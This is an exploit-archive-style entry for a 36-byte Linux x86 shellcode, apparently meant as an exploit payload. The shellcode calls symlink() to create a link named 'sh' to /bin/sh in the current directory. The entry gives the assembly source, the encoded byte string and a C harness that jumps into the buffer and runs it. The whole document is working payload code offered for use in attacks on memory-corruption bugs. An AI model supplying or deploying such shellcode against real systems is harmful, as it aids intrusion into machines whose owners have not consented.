Linux/x86 - symlink /bin/sh sh Shellcode (36 bytes)

/*The shellcode calls the symlink() and makes the 
 link to the /bin/sh in the current dir.
 size = 36 bytes
 OS   = Linux i386
    written by /rootteam/dev0id (rootteam.void.ru)
  
 
  
  BITS 32
   
jmp short   callit
 
doit:   
 
pop     esi
xor     eax,eax
mov byte    [esi+7],al
mov byte    [esi+10],al
mov byte    al,83       
lea     ebx,[esi]       
lea             ecx,[esi+8]
int     0x80
 
 
callit:
call        doit
 
db      '/bin/sh#sh#'
*/
 
char shellcode[]=
"\xEB\x12"
"\x5E"    
"\x31\xC0"
"\x88\x46\x07" 
"\x88\x46\x0A"
"\xB0\x53"   
"\x8D\x1E\x8D\x4E"
"\x08\xCD"      
"\x80\xE8\xE9" 
"\xFF"        
"\xFF"       
"\xFF\x2F"  
"\x62\x69\x6E"
"\x2F"      
"\x73\x68" 
"\x23\x73\x68"
"\x23";      
 
 
int
main (void)
{
    void (*code)(void);
    code=(void(*)())shellcode;
    (void)code();
    return 0;
         
}